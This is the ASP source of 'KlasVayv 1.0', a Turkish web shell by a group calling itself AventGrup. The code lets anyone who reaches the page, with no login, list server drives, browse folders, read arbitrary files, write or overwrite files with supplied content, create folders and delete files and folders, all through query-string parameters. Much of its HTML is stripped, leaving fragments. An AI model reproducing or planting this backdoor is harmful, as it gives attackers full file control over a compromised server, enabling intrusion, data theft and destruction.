Aventis KlasVayv 1.0

<% if request.querystring("usklas") = "1" then on error resume next es=request.querystring("klas") diez=server.urlencode(left(es,(instrRev(es,"\"))-1)) Select case es case "C:" diez="C:" case "D:" diez="D:" end select %> <% else %> <% if request.querystring("dosyakaydet") <> "" then set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) set kaydoses=nothing set kaydospos=nothing set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) kaydoses.write request("duzenx") set kaydoses=nothing set kaydospos=nothing end if %> <% if request.querystring("yenidosya") <> "" then %>

AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0

www.aventgrup.net
SHOPEN@AventGrup.Net

Çalışılan Klasör

<%=response.write(request.querystring("yenidosya"))%>

<% else %> <% if request.querystring("klasorac") <> "" then set doses=createobject("scripting.filesystemobject") set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) set es=nothing set doses=nothing end if %> <% if request.querystring("klasac") <> "" then set aktifklas=request.querystring("aktifklas") %>

AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0

www.aventgrup.net
SHOPEN@AventGrup.Net

Çalışılan Alan

<%=aktifklas%>

<% else %> <% if request.querystring("suruculer") <> "" then %>

AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0

www.aventgrup.net
SHOPEN@AventGrup.Net

Sürücü Adı

Boyutu

Boş Alan

Durum

İşlem

<% set klassis =server.createobject("scripting.filesystemobject") set klasdri=klassis.drives %> <% for each dongu in klasdri %> <% if dongu.driveletter <> "A" then if dongu.isready=true then %> <% select case dongu.drivetype case 0 teype="Diğer" case 1 teype="Taşınır" case 2 teype="HDD" case 3 teype="NetWork" case 4 teype="CD-Rom" case 5 teype="FlashMem" end select %>

<%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> )

<%=Round(dongu.totalsize/(1024*1024),1)%> MB

<%=Round(dongu.availablespace/(1024*1024),1)%> MB

<%=teype%>

Gir

<% end if end if %> <% next %>

<% else %> <% if request.querystring("kaydet") <> "" then set dossisx=server.createobject("scripting.filesystemobject") set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) dosx.write request("duzenx") dosx.close set dosyax=nothing set dossisx=nothing end if %> <% if request.querystring("duzenle") <> "" then set dossis=server.createobject("scripting.filesystemobject") set dos=dossis.opentextfile(request.querystring("duzenle"), 1) sedx = dos.readall dos.close set dosya=nothing set dossis=nothing set aktifklas=request.querystring("klas") %>

AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0

www.aventgrup.net
SHOPEN@AventGrup.Net

Çalışılan Dosya

<%=response.write(request.querystring("duzenle"))%>

&klas=<%=aktifklas%>" name="kaypos">

<%=sedx%>

<% else %> <% if request.querystring("klas") <> "" then aktifklas=Request.querystring("klas") if request.querystring("usak") = "1" then aktifklas=aktifklas & "\" end if else aktifklas=server.mappath("/") aktifklas=aktifklas & "\" end if if request.querystring("silklas") <> "" then set sis=createobject("scripting.filesystemobject") silincekklas=request.querystring("silklas") sis.deletefolder(silincekklas) set sis=nothing 'response.write(sil & " Silindi") end if if request.querystring("sildos") <> "" then silincekdos=request.querystring("sildos") set dosx=createobject("scripting.filesystemobject") set dos=dosx.getfile(silincekdos) dos.delete set dos=nothing set dosyasis=nothing end if select case aktifklas case "C:" aktifklas="C:\" case "D:" aktifklas="D:\" case "E:" aktifklas="E:\" case "F:" aktifklas="F:\" case "G:" aktifklas="G:\" case "H:" aktifklas="H:\" case "I:" aktifklas="I:\" case "J:" aktifklas="J:\" case "K:" aktifklas="K:\" end select if aktifklas=("C:") then aktifklas=("C:\") Set FS = CreateObject("Scripting.FileSystemObject") Set klasor = FS.GetFolder(aktifklas) Set altklasorler = klasor.SubFolders Set dosyalar = klasor.files %>

AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0

www.aventgrup.net
SHOPEN@AventGrup.Net